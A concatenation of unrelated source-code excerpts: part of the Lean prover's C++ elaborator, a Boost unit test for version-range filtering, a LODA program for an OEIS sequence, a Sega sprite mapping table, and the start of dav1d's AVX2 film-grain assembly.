replace(e, [&](expr const & e, unsigned) { if (is_delayed_abstraction(e)) { expr new_e = push_delayed_abstraction(e); if (e == new_e) { expr mvar = get_delayed_abstraction_expr(e); if (auto decl = mctx.find_metavar_decl(mvar)) { buffer<name> ns; buffer<expr> es; get_delayed_abstraction_info(e, ns, es); expr mvar_type = mctx.instantiate_mvars(decl->get_type()); mvar_type = append_delayed_abstraction(mvar_type, ns, es); expr new_type = replace_with_simple_metavars(mctx, cache, mvar_type); expr new_mvar = mk_metavar(mlocal_name(mvar), new_type); return some_expr(new_mvar); } else if (is_metavar_decl_ref(e)) { throw exception("unexpected occurrence of internal elaboration metavariable"); } else { return none_expr(); } } else { return some_expr(replace_with_simple_metavars(mctx, cache, new_e)); } } else if (is_metavar(e)) { if (auto r = cache.find(mlocal_name(e))) { return some_expr(*r); } else if (auto decl = mctx.find_metavar_decl(e)) { expr new_type = replace_with_simple_metavars(mctx, cache, mctx.instantiate_mvars(decl->get_type())); expr new_mvar = mk_metavar(mlocal_name(e), new_type); cache.insert(mlocal_name(e), new_mvar); return some_expr(new_mvar); } else if (is_metavar_decl_ref(e)) { throw exception("unexpected occurrence of internal elaboration metavariable"); } else { return none_expr(); } } else { return none_expr(); } }); } expr elaborator::elaborate(expr const & e) { scoped_info_manager scope_infom(&m_info); scoped_expr_caching scope_no_caching(false); expr r = visit(e, none_expr()); trace_elab_detail(tout() << "result before final checkpoint\n" << r << "\n";); synthesize(); return r; } expr elaborator::elaborate_type(expr const & e) { scoped_info_manager scope_infom(&m_info); expr const & ref = e; expr new_e = ensure_type(visit(e, none_expr()), ref); synthesize(); return new_e; } expr_pair elaborator::elaborate_with_type(expr const & e, expr const & e_type) { scoped_info_manager scope_infom(&m_info); expr const & ref = e; expr new_e, new_e_type; { expr Type = visit(copy_tag(e_type, mk_sort(mk_level_placeholder())), none_expr()); new_e_type = visit(e_type, some_expr(Type)); new_e_type = ensure_type(new_e_type, e_type); new_e = visit(e, some_expr(new_e_type)); synthesize(); } new_e = enforce_type(new_e, new_e_type, "type mismatch", ref); return mk_pair(new_e, new_e_type); } void elaborator::finalize_core(sanitize_param_names_fn & S, buffer<expr> & es, bool check_unassigned, bool to_simple_metavar, bool collect_local_ctx) { scoped_expr_caching scope(true); flush_expr_cache(); name_map<expr> to_simple_mvar_cache; for (expr & e : es) { e = instantiate_mvars(e); if (check_unassigned) ensure_no_unassigned_metavars(e); if (!check_unassigned && to_simple_metavar) { e = replace_with_simple_metavars(m_ctx.mctx(), to_simple_mvar_cache, e); } e = instantiate_mvars(e); S.collect_params(e); } if (collect_local_ctx) S.collect_local_context_params(); for (expr & e : es) { e = S.sanitize(e); } } void elaborator::finalize(buffer<expr> & es, buffer<name> & new_lp_names, bool check_unassigned, bool to_simple_metavar) { sanitize_param_names_fn S(m_ctx, new_lp_names); finalize_core(S, es, check_unassigned, to_simple_metavar, true); } pair<expr, level_param_names> elaborator::finalize(expr const & e, bool check_unassigned, bool to_simple_metavar) { buffer<expr> es; es.push_back(e); buffer<name> new_lp_names; finalize(es, new_lp_names, check_unassigned, to_simple_metavar); return mk_pair(es[0], to_list(new_lp_names)); } auto elaborator::finalize_theorem_type(expr const & type, buffer<name> & new_lp_names) -> pair<expr, theorem_finalization_info> { sanitize_param_names_fn S(m_ctx, new_lp_names); buffer<expr> es; es.push_back(type); bool check_unassigned = true; bool to_simple_metavar = false; bool collect_local_ctx = true; finalize_core(S, es, check_unassigned, to_simple_metavar, collect_local_ctx); return mk_pair(es[0], S.mk_info()); } expr elaborator::finalize_theorem_proof(expr const & val, theorem_finalization_info const & info) { buffer<name> dummy; sanitize_param_names_fn S(m_ctx, info, dummy); buffer<expr> es; es.push_back(val); bool check_unassigned = true; bool to_simple_metavar = false; bool collect_local_ctx = false; finalize_core(S, es, check_unassigned, to_simple_metavar, collect_local_ctx); return es[0]; } pair<expr, level_param_names> elaborate(environment & env, options const & opts, name const & decl_name, metavar_context & mctx, local_context const & lctx, expr const & e, bool check_unassigned, bool recover_from_errors) { elaborator elab(env, opts, decl_name, mctx, lctx, recover_from_errors); expr r = elab.elaborate(e); auto p = elab.finalize(r, check_unassigned, true); mctx = elab.mctx(); env = elab.env(); return p; } static optional<expr> resolve_local_name_core(environment const & env, local_context const & lctx, name const & id, expr const & src, list<name> const & extra_locals) { // extra locals unsigned vidx = 0; for (name const & extra : extra_locals) { if (id == extra) return some_expr(copy_tag(src, mk_var(vidx))); vidx++; } /* check local context */ if (auto decl = lctx.find_local_decl_from_user_name(id)) { return some_expr(copy_tag(src, decl->mk_ref())); } /* check local_refs */ if (auto ref = get_local_ref(env, id)) { /* ref may contain local references that have new names at lctx. */ return some_expr(copy_tag(src, replace(*ref, [&](expr const & e, unsigned) { if (is_local(e)) { if (auto decl = lctx.find_local_decl_from_user_name(mlocal_pp_name(e))) { return some_expr(decl->mk_ref()); } } return none_expr(); }))); } if (!id.is_atomic() && id.is_string()) { if (auto r = resolve_local_name_core(env, lctx, id.get_prefix(), src, extra_locals)) { return some_expr(copy_tag(src, mk_field_notation_compact(*r, id.get_string()))); } else { return none_expr(); } } else { return none_expr(); } } // Auxiliary procedure for #translate static expr resolve_local_name(environment const & env, local_context const & lctx, name const & id, expr const & src, bool ignore_aliases, list<name> const & extra_locals) { /* locals */ if (auto r = resolve_local_name_core(env, lctx, id, src, extra_locals)) return *r; /* check in current namespaces */ for (name const & ns : get_namespaces(env)) { auto new_id = ns + id; if (!ns.is_anonymous() && env.find(new_id) && (!id.is_atomic() || !is_protected(env, new_id))) { return copy_tag(src, mk_constant(new_id)); } } /* check if exact name was provided */ if (!id.is_atomic()) { name new_id = id; new_id = remove_root_prefix(new_id); if (env.find(new_id)) { return copy_tag(src, mk_constant(new_id)); } } optional<expr> r; /* globals */ if (env.find(id)) r = copy_tag(src, mk_constant(id)); if (!ignore_aliases) { // aliases list<name> as = get_expr_aliases(env, id); if (!is_nil(as)) { buffer<expr> new_as; if (r) new_as.push_back(*r); for (auto const & a : as) { new_as.push_back(copy_tag(src, mk_constant(a))); } r = copy_tag(src, mk_choice(new_as.size(), new_as.data())); } } if (!r && !id.is_atomic() && id.is_string()) { try { expr s = resolve_local_name(env, lctx, id.get_prefix(), src, ignore_aliases, extra_locals); r = mk_field_notation_compact(s, id.get_string()); if (auto pos = get_pos_info(src)) { pos->second += id.get_prefix().utf8_size(); r = get_pos_info_provider()->save_pos(*r, *pos); } } catch (exception &) {} } if (!r) throw elaborator_exception(src, format("unknown identifier '") + format(id.escape()) + format("'")); return *r; } vm_obj tactic_resolve_local_name(vm_obj const & vm_id, vm_obj const & vm_s) { name const & id = to_name(vm_id); tactic_state const & s = tactic::to_state(vm_s); try { optional<metavar_decl> g = s.get_main_goal_decl(); if (!g) return mk_no_goals_exception(s); expr src; // dummy bool ignore_aliases = false; return tactic::mk_success(to_obj(resolve_local_name(s.env(), g->get_context(), id, src, ignore_aliases, list<name>())), s); } catch (exception & ex) { return tactic::mk_exception(ex, s); } } struct resolve_names_fn : public replace_visitor { environment const & m_env; local_context const & m_lctx; list<name> m_locals; resolve_names_fn(environment const & env, local_context const & lctx): m_env(env), m_lctx(lctx) {} expr visit_constant(expr const & e, bool ignore_aliases) { if (!is_nil(const_levels(e))) { /* universe level were provided, so the constant was already resolved at parsing time */ return e; } else { return copy_tag(e, resolve_local_name(m_env, m_lctx, const_name(e), e, ignore_aliases, m_locals)); } } virtual expr visit_constant(expr const & e) override { return visit_constant(e, false); } expr visit_local(expr const & e, bool ignore_aliases) { return copy_tag(e, resolve_local_name(m_env, m_lctx, mlocal_pp_name(e), e, ignore_aliases, m_locals)); } virtual expr visit_local(expr const & e) override { return visit_local(e, false); } virtual expr visit_binding(expr const & e) override { expr new_d = visit(binding_domain(e)); flet<list<name>> set(m_locals, cons(binding_name(e), m_locals)); expr new_b = visit(binding_body(e)); return update_binding(e, new_d, new_b); } virtual expr visit_let(expr const & e) override { expr new_type = visit(let_type(e)); expr new_val = visit(let_value(e)); flet<list<name>> set(m_locals, cons(let_name(e), m_locals)); expr new_body = visit(let_body(e)); return update_let(e, new_type, new_val, new_body); } void push_new_arg(buffer<expr> & new_args, expr const & arg) { if (is_choice(arg)) { for (unsigned i = 0; i < get_num_choices(arg); i++) push_new_arg(new_args, get_choice(arg, i)); } else if (std::find(new_args.begin(), new_args.end(), arg) == new_args.end()) { new_args.push_back(arg); } } expr visit_choice(expr const & e) { buffer<expr> new_args; bool ignore_aliases = true; for (unsigned i = 0; i < get_num_choices(e); i++) { expr const & arg = get_choice(e, i); if (is_constant(arg)) push_new_arg(new_args, visit_constant(arg, ignore_aliases)); else if (is_local(arg)) push_new_arg(new_args, visit_local(arg, ignore_aliases)); else new_args.push_back(visit(arg)); } return mk_choice(new_args.size(), new_args.data()); } virtual expr visit(expr const & e) override { if (is_placeholder(e) || is_by(e) || is_hole(e) || is_as_is(e) || is_emptyc_or_emptys(e) || is_as_atomic(e)) { return e; } else if (is_choice(e)) { return visit_choice(e); } else if (is_frozen_name(e)) { return get_annotation_arg(e); } else { return replace_visitor::visit(e); } } }; expr resolve_names(environment const & env, local_context const & lctx, expr const & e) { return resolve_names_fn(env, lctx)(e); } static vm_obj tactic_save_type_info(vm_obj const &, vm_obj const & _e, vm_obj const & ref, vm_obj const & _s) { expr const & e = to_expr(_e); tactic_state s = tactic::to_state(_s); if (!get_global_info_manager() || !get_pos_info_provider()) return tactic::mk_success(s); auto pos = get_pos_info_provider()->get_pos_info(to_expr(ref)); if (!pos) return tactic::mk_success(s); tactic_state_context_cache cache(s); type_context_old ctx = cache.mk_type_context(); try { expr type = ctx.infer(e); get_global_info_manager()->add_type_info(*pos, type); if (is_constant(e)) get_global_info_manager()->add_identifier_info(*pos, const_name(e)); else if (is_local(e)) get_global_info_manager()->add_identifier_info(*pos, mlocal_pp_name(e)); } catch (exception & ex) { return tactic::mk_exception(ex, s); } return tactic::mk_success(s); } static vm_obj environment_add_defn_eqns(vm_obj const &_env, vm_obj const &_opts, vm_obj const &_lp_names, vm_obj const &_params, vm_obj const &_sig, vm_obj const &_eqns, vm_obj const &_meta ) { try { environment env = lean::to_env(_env); cmd_meta meta; meta.m_modifiers.m_is_meta = lean::to_bool(_meta); auto kind = decl_cmd_kind::Definition; root_scope scope; dummy_def_parser p(env, lean::to_options(_opts)); expr sig = to_expr(_sig); p.m_name = mlocal_pp_name(sig); p.m_type = mk_as_is(mlocal_type(sig)); lean::to_buffer_name(_lp_names, p.m_lp_params); to_buffer_expr(_params, p.m_params); for (vm_obj const * it = &_eqns; !is_simple(*it); it = &cfield(*it, 1)) { auto o = cfield(*it, 0); buffer<expr> pat; to_buffer_expr(cfield(o, 0), pat); p.m_val.push_back(std::pair<buffer<expr>, expr>(std::move(pat), mk_as_is(abstract(to_expr(cfield(o, 1)), sig)))); } return mk_vm_exceptional_success(to_obj(single_definition_cmd_core(p, kind, meta))); } catch (throwable & ex) { return mk_vm_exceptional_exception(ex); } } void initialize_elaborator() { g_elab_strategy = new name("elab_strategy"); register_trace_class("elaborator"); register_trace_class("elaborator_detail"); register_trace_class("elaborator_debug"); register_system_attribute( elaborator_strategy_attribute( *g_elab_strategy, "internal attribute for the elaborator strategy for a given constant")); register_system_attribute( elaborator_strategy_proxy_attribute( "elab_with_expected_type", "instructs elaborator that the arguments of the function application (f ...) " "should be elaborated using information about the expected type", elaborator_strategy::WithExpectedType)); register_system_attribute( elaborator_strategy_proxy_attribute( "elab_as_eliminator", "instructs elaborator that the arguments of the function application (f ...) " "should be elaborated as f were an eliminator", elaborator_strategy::AsEliminator)); register_system_attribute( elaborator_strategy_proxy_attribute( "elab_simple", "instructs elaborator that the arguments of the function application (f ...) " "should be elaborated from left to right, and without propagating information from the expected type " "to its arguments", elaborator_strategy::Simple)); register_incompatible("elab_simple", "elab_with_expected_type"); register_incompatible("elab_simple", "elab_as_eliminator"); register_incompatible("elab_with_expected_type", "elab_as_eliminator"); DECLARE_VM_BUILTIN(name({"environment", "add_defn_eqns"}), environment_add_defn_eqns); DECLARE_VM_BUILTIN(name({"tactic", "save_type_info"}), tactic_save_type_info); DECLARE_VM_BUILTIN(name({"tactic", "resolve_name"}), tactic_resolve_local_name); g_elaborator_coercions = new name{"elaborator", "coercions"}; register_bool_option(*g_elaborator_coercions, LEAN_DEFAULT_ELABORATOR_COERCIONS, "(elaborator) if true, the elaborator will automatically introduce coercions"); } void finalize_elaborator() { delete g_elab_strategy; delete g_elaborator_coercions; } }
/* * Copyright (c) 2017, Dmytro Iakovliev daemondzk@gmail.com * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the <organization> nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY Dmytro Iakovliev daemondzk@gmail.com ''AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL Dmytro Iakovliev daemondzk@gmail.com BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #define BOOST_TEST_MODULE GavcVersionsFilter #include <boost/test/unit_test.hpp> #include <gavcquery.h> #include <gavcversionsrangefilter.h> #include <gavcversionsmatcher.h> using namespace art::lib; void init_versions(std::vector<std::string>& versions) { versions.push_back("16.3.123"); versions.push_back("16.3.532"); versions.push_back("16.6.123"); versions.push_back("16.6.124"); versions.push_back("16.6.125"); versions.push_back("16.6.533"); versions.push_back("16.8.123"); versions.push_back("16.8.536"); } bool contains_value(const std::vector<std::string>& vector, const std::string& value) { return std::find(vector.begin(), vector.end(), value) != vector.end(); } std::vector<std::string> filter_according_to_query(const std::string& gavc, const std::vector<std::string>& versions) { boost::optional<GavcQuery> q = GavcQuery::parse(gavc); BOOST_CHECK(q); return q->filter(versions); } BOOST_AUTO_TEST_CASE(NonExistingBorders) { std::vector<std::string> versions; init_versions(versions); std::vector<std::string> filtered = filter_according_to_query("test:test:16.6.*[16.6.122,16.6.534]", versions); BOOST_CHECK_EQUAL(4, filtered.size()); BOOST_CHECK_EQUAL("16.6.123", filtered[0]); BOOST_CHECK_EQUAL("16.6.124", filtered[1]); BOOST_CHECK_EQUAL("16.6.125", filtered[2]); BOOST_CHECK_EQUAL("16.6.533", filtered[3]); } BOOST_AUTO_TEST_CASE(WrongBordersOrder) { std::vector<std::string> versions; init_versions(versions); std::vector<std::string> filtered = filter_according_to_query("test:test:16.6.*[16.6.533,16.6.123]", versions); BOOST_CHECK_EQUAL(0, filtered.size()); filtered = filter_according_to_query("test:test:16.6.*(16.6.533,16.6.123)", versions); BOOST_CHECK_EQUAL(0, filtered.size()); } BOOST_AUTO_TEST_CASE(IncludeBorders) { std::vector<std::string> versions; init_versions(versions); std::vector<std::string> filtered = filter_according_to_query("test:test:16.6.*[16.6.-,16.6.+]", versions); BOOST_CHECK_EQUAL(4, filtered.size()); BOOST_CHECK_EQUAL("16.6.123", filtered[0]); BOOST_CHECK_EQUAL("16.6.124", filtered[1]); BOOST_CHECK_EQUAL("16.6.125", filtered[2]); BOOST_CHECK_EQUAL("16.6.533", filtered[3]); filtered = filter_according_to_query("test:test:16.6.*[16.6.123,16.6.533]", versions); BOOST_CHECK_EQUAL(4, filtered.size()); BOOST_CHECK_EQUAL("16.6.123", filtered[0]); BOOST_CHECK_EQUAL("16.6.124", filtered[1]); BOOST_CHECK_EQUAL("16.6.125", filtered[2]); BOOST_CHECK_EQUAL("16.6.533", filtered[3]); filtered = filter_according_to_query("test:test:16.6.*[16.6.122,16.6.534]", versions); BOOST_CHECK_EQUAL(4, filtered.size()); BOOST_CHECK_EQUAL("16.6.123", filtered[0]); BOOST_CHECK_EQUAL("16.6.124", filtered[1]); BOOST_CHECK_EQUAL("16.6.125", filtered[2]); BOOST_CHECK_EQUAL("16.6.533", filtered[3]); } BOOST_AUTO_TEST_CASE(ExcludeLeftBorder) { std::vector<std::string> versions; init_versions(versions); std::vector<std::string> filtered = filter_according_to_query("test:test:16.6.*(16.6.-,16.6.+]", versions); BOOST_CHECK_EQUAL(3, filtered.size()); BOOST_CHECK_EQUAL("16.6.124", filtered[0]); BOOST_CHECK_EQUAL("16.6.125", filtered[1]); BOOST_CHECK_EQUAL("16.6.533", filtered[2]); filtered = filter_according_to_query("test:test:16.6.*(16.6.123,16.6.533]", versions); BOOST_CHECK_EQUAL(3, filtered.size()); BOOST_CHECK_EQUAL("16.6.124", filtered[0]); BOOST_CHECK_EQUAL("16.6.125", filtered[1]); BOOST_CHECK_EQUAL("16.6.533", filtered[2]); } BOOST_AUTO_TEST_CASE(ExcludeRightBorder) { std::vector<std::string> versions; init_versions(versions); std::vector<std::string> filtered = filter_according_to_query("test:test:16.6.*[16.6.-,16.6.+)", versions); BOOST_CHECK_EQUAL(3, filtered.size()); BOOST_CHECK_EQUAL("16.6.123", filtered[0]); BOOST_CHECK_EQUAL("16.6.124", filtered[1]); BOOST_CHECK_EQUAL("16.6.125", filtered[2]); filtered = filter_according_to_query("test:test:16.6.*[16.6.123,16.6.533)", versions); BOOST_CHECK_EQUAL(3, filtered.size()); BOOST_CHECK_EQUAL("16.6.123", filtered[0]); BOOST_CHECK_EQUAL("16.6.124", filtered[1]); BOOST_CHECK_EQUAL("16.6.125", filtered[2]); }
; A224881: Expansion of 1/(1 - 16*x)^(1/8). ; Submitted by Christian Krause ; 1,2,18,204,2550,33660,460020,6440280,91773990,1325624300,19354114780,285033326760,4227994346940,63094684869720,946420273045800,14259398780556720,215673406555920390,3273161111260438860,49824785804742235980,760483572809223601800,11635398663981121107540,178409446181043856982280,2741017854963310166364120,42187840028565730386647760,650395867107055010127486300,10042112188132929356368388472,155266503831901446202311237144,2403755503767955722687633226896,37258210308403313701658315016888 mov $1,1 mov $2,1 mov $3,$0 mul $3,2 lpb $3 mul $1,4 mul $1,$3 mul $2,7 sub $1,$2 mov $2,$1 sub $3,1 cmp $4,0 add $5,$4 div $1,$5 div $2,$5 add $2,$1 mul $1,2 sub $3,1 add $4,1 add $5,1 lpe mov $0,$1
Map_2PRetractingSpring_:dc.w word_23F5A-Map_2PRetractingSpring_ dc.w word_23F5C-Map_2PRetractingSpring_ dc.w word_23F64-Map_2PRetractingSpring_ dc.w word_23F64-Map_2PRetractingSpring_ Map_2PRetractingSpring_2: Map_2PRetractingSpring_2_:dc.w word_23F5A-Map_2PRetractingSpring_2_ dc.w word_23F6C-Map_2PRetractingSpring_2_ dc.w word_23F64-Map_2PRetractingSpring_2_ dc.w word_23F64-Map_2PRetractingSpring_2_ word_23F5A: dc.w 0 word_23F5C: dc.w 1 dc.b $F4, 6, 8, $2F, $FF, $F8 word_23F64: dc.w 1 dc.b $F8, 9, $60, $D, $FF, $F4 word_23F6C: dc.w 1 dc.b $F4, $A, $47, $74, $FF, $F0
; Copyright © 2019-2021, VideoLAN and dav1d authors ; Copyright © 2019, Two Orioles, LLC ; All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are met: ; ; 1. Redistributions of source code must retain the above copyright notice, this ; list of conditions and the following disclaimer. ; ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ; ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. %include "config.asm" %include "ext/x86/x86inc.asm" %if ARCH_X86_64 SECTION_RODATA 32 pb_8x_27_17_8x_17_27: times 8 db 27, 17 times 8 db 17, 27 pw_1024: times 16 dw 1024 pb_mask: db 0, 0x80, 0x80, 0, 0x80, 0, 0, 0x80, 0x80, 0, 0, 0x80, 0, 0x80, 0x80, 0 rnd_next_upperbit_mask: dw 0x100B, 0x2016, 0x402C, 0x8058 byte_blend: db 0, 0, 0, 0xff, 0, 0, 0, 0 pw_seed_xor: times 2 dw 0xb524 times 2 dw 0x49d8 pd_m65536: dd ~0xffff pb_23_22: db 23, 22 times 3 db 0, 32 pb_1: times 4 db 1 hmul_bits: dw 32768, 16384, 8192, 4096 round: dw 2048, 1024, 512 mul_bits: dw 256, 128, 64, 32, 16 round_vals: dw 32, 64, 128, 256, 512 max: dw 255, 240, 235 min: dw 0, 16 pb_27_17_17_27: db 27, 17, 17, 27 times 2 db 0, 32 pw_1: dw 1 %macro JMP_TABLE 2-* %xdefine %1_8bpc_%2_table %%table %xdefine %%base %1_8bpc_%2_table %xdefine %%prefix mangle(private_prefix %+ _%1_8bpc_%2) %%table: %rep %0 - 2 dd %%prefix %+ .ar%3 - %%base %rotate 1 %endrep %endmacro ALIGN 4 JMP_TABLE generate_grain_y, avx2, 0, 1, 2, 3 JMP_TABLE generate_grain_uv_420, avx2, 0, 1, 2, 3 JMP_TABLE generate_grain_uv_422, avx2, 0, 1, 2, 3 JMP_TABLE generate_grain_uv_444, avx2, 0, 1, 2, 3 struc FGData .seed: resd 1 .num_y_points: resd 1 .y_points: resb 14 * 2 .chroma_scaling_from_luma: resd 1 .num_uv_points: resd 2 .uv_points: resb 2 * 10 * 2 .scaling_shift: resd 1 .ar_coeff_lag: resd 1 .ar_coeffs_y: resb 24 .ar_coeffs_uv: resb 2 * 28 ; includes padding .ar_coeff_shift: resq 1 .grain_scale_shift: resd 1 .uv_mult: resd 2 .uv_luma_mult: resd 2 .uv_offset: resd 2 .overlap_flag: resd 1 .clip_to_restricted_range: resd 1 endstruc cextern gaussian_sequence SECTION .text %macro REPX 2-* %xdefine %%f(x) %1 %rep %0 - 1 %rotate 1 %%f(%1) %endrep %endmacro INIT_XMM avx2 cglobal generate_grain_y_8bpc, 2, 9, 16, buf, fg_data lea r4, [pb_mask] %define base r4-pb_mask movq xm1, [base+rnd_next_upperbit_mask] movq xm4, [base+mul_bits] movq xm7, [base+hmul_bits] mov r2d, [fg_dataq+FGData.grain_scale_shift] vpbroadcastw xm8, [base+round+r2*2] mova xm5, [base+pb_mask] vpbroadcastw xm0, [fg_dataq+FGData.seed] vpbroadcastd xm9, [base+pd_m65536] mov r2, -73*82 sub bufq, r2 lea r3, [gaussian_sequence] .loop: pand xm2, xm0, xm1 psrlw xm3, xm2, 10 por xm2, xm3 ; bits 0xf, 0x1e, 0x3c and 0x78 are set pmullw xm2, xm4 ; bits 0x0f00 are set pshufb xm2, xm5, xm2 ; set 15th bit for next 4 seeds psllq xm6, xm2, 30 por xm2, xm6 psllq xm6, xm2, 15 por xm2, xm6 ; aggregate each bit into next seed's high bit pmulhuw xm3, xm0, xm7 por xm2, xm3 ; 4 next output seeds pshuflw xm0, xm2, q3333 psrlw xm2, 5 pmovzxwd xm3, xm2 mova xm6, xm9 vpgatherdd xm2, [r3+xm3*2], xm6 pandn xm2, xm9, xm2 packusdw xm2, xm2 pmulhrsw xm2, xm8 packsswb xm2, xm2 movd [bufq+r2], xm2 add r2, 4 jl .loop ; auto-regression code movsxd r2, [fg_dataq+FGData.ar_coeff_lag] movsxd r2, [base+generate_grain_y_8bpc_avx2_table+r2*4] lea r2, [r2+base+generate_grain_y_8bpc_avx2_table] jmp r2 .ar1: DEFINE_ARGS buf, fg_data, cf3, shift, val3, min, max, x, val0 mov shiftd, [fg_dataq+FGData.ar_coeff_shift] movsx cf3d, byte [fg_dataq+FGData.ar_coeffs_y+3] movd xm4, [fg_dataq+FGData.ar_coeffs_y] DEFINE_ARGS buf, h, cf3, shift, val3, min, max, x, val0 pinsrb xm4, [pb_1], 3 pmovsxbw xm4, xm4 pshufd xm5, xm4, q1111 pshufd xm4, xm4, q0000 vpbroadcastw xm3, [base+round_vals+shiftq*2-12] ; rnd sub bufq, 82*73-(82*3+79) mov hd, 70 mov mind, -128 mov maxd, 127 .y_loop_ar1: mov xq, -76 movsx val3d, byte [bufq+xq-1] .x_loop_ar1: pmovsxbw xm0, [bufq+xq-82-1] ; top/left pmovsxbw xm2, [bufq+xq-82+0] ; top pmovsxbw xm1, [bufq+xq-82+1] ; top/right punpcklwd xm0, xm2 punpcklwd xm1, xm3 pmaddwd xm0, xm4 pmaddwd xm1, xm5 paddd xm0, xm1 .x_loop_ar1_inner: movd val0d, xm0 psrldq xm0, 4 imul val3d, cf3d add val3d, val0d %if WIN64 sarx val3d, val3d, shiftd %else sar val3d, shiftb %endif movsx val0d, byte [bufq+xq] add val3d, val0d cmp val3d, maxd cmovns val3d, maxd cmp val3d, mind cmovs val3d, mind mov byte [bufq+xq], val3b ; keep val3d in-place as left for next x iteration inc xq jz .x_loop_ar1_end test xq, 3 jnz .x_loop_ar1_inner jmp .x_loop_ar1 .x_loop_ar1_end: add bufq, 82 dec hd jg .y_loop_ar1 .ar0: RET .ar2: DEFINE_ARGS buf, fg_data, shift mov shiftd, [fg_dataq+FGData.ar_coeff_shift] vpbroadcastw xm14, [base+round_vals-12+shiftq*2] movq xm15, [base+byte_blend+1] pmovsxbw xm8, [fg_dataq+FGData.ar_coeffs_y+0] ; cf0-7 movd xm9, [fg_dataq+FGData.ar_coeffs_y+8] ; cf8-11 pmovsxbw xm9, xm9 DEFINE_ARGS buf, fg_data, h, x pshufd xm12, xm9, q0000 pshufd xm13, xm9, q1111 pshufd xm11, xm8, q3333 pshufd xm10, xm8, q2222 pshufd xm9, xm8, q1111 pshufd xm8, xm8, q0000 pmovzxwd xm14, xm14 sub bufq, 82*73-(82*3+79) mov hd, 70 .y_loop_ar2: mov xq, -76 .x_loop_ar2: pmovsxbw xm0, [bufq+xq-82*2-2] ; y=-2,x=[-2,+5] pmovsxbw xm1, [bufq+xq-82*1-2] ; y=-1,x=[-2,+5] psrldq xm2, xm0, 2 ; y=-2,x=[-1,+5] psrldq xm3, xm1, 2 ; y=-1,x=[-1,+5] psrldq xm4, xm1, 4 ; y=-1,x=[+0,+5] punpcklwd xm2, xm0, xm2 punpcklwd xm3, xm4 pmaddwd xm2, xm8 pmaddwd xm3, xm11 paddd xm2, xm3 psrldq xm4, xm0, 4 ; y=-2,x=[+0,+5] psrldq xm5, xm0, 6 ; y=-2,x=[+1,+5] psrldq xm6, xm0, 8 ; y=-2,x=[+2,+5] punpcklwd xm4, xm5 punpcklwd xm6, xm1 psrldq xm7, xm1, 6 ; y=-1,x=[+1,+5] psrldq xm1, xm1, 8 ; y=-1,x=[+2,+5] punpcklwd xm7, xm1 pmaddwd xm4, xm9 pmaddwd xm6, xm10 pmaddwd xm7, xm12 paddd xm4, xm6 paddd xm2, xm7 paddd xm2, xm4 paddd xm2, xm14 movq xm0, [bufq+xq-2] ; y=0,x=[-2,+5] .x_loop_ar2_inner: pmovsxbw xm1, xm0 pmaddwd xm3, xm1, xm13 paddd xm3, xm2 psrldq xm1, 4 ; y=0,x=0 psrldq xm2, 4 ; shift top to next pixel psrad xm3, [fg_dataq+FGData.ar_coeff_shift] ; don't packssdw since we only care about one value paddw xm3, xm1 packsswb xm3, xm3 pextrb [bufq+xq], xm3, 0 pslldq xm3, 2 pand xm3, xm15 pandn xm0, xm15, xm0 por xm0, xm3 psrldq xm0, 1 inc xq jz .x_loop_ar2_end test xq, 3 jnz .x_loop_ar2_inner jmp .x_loop_ar2 .x_loop_ar2_end: add bufq, 82 dec hd jg .y_loop_ar2 RET .ar3: DEFINE_ARGS buf, fg_data, shift %if WIN64 SUB rsp, 16*12 %assign stack_size_padded (stack_size_padded+16*12) %assign stack_size (stack_size+16*12) %else ALLOC_STACK 16*12 %endif mov shiftd, [fg_dataq+FGData.ar_coeff_shift] vpbroadcastw xm14, [base+round_vals-12+shiftq*2] movq xm15, [base+byte_blend] pmovsxbw xm0, [fg_dataq+FGData.ar_coeffs_y+ 0] ; cf0-7 pmovsxbw xm1, [fg_dataq+FGData.ar_coeffs_y+ 8] ; cf8-15 pmovsxbw xm2, [fg_dataq+FGData.ar_coeffs_y+16] ; cf16-23 pshufd xm9, xm0, q1111 pshufd xm10, xm0, q2222 pshufd xm11, xm0, q3333 pshufd xm0, xm0, q0000 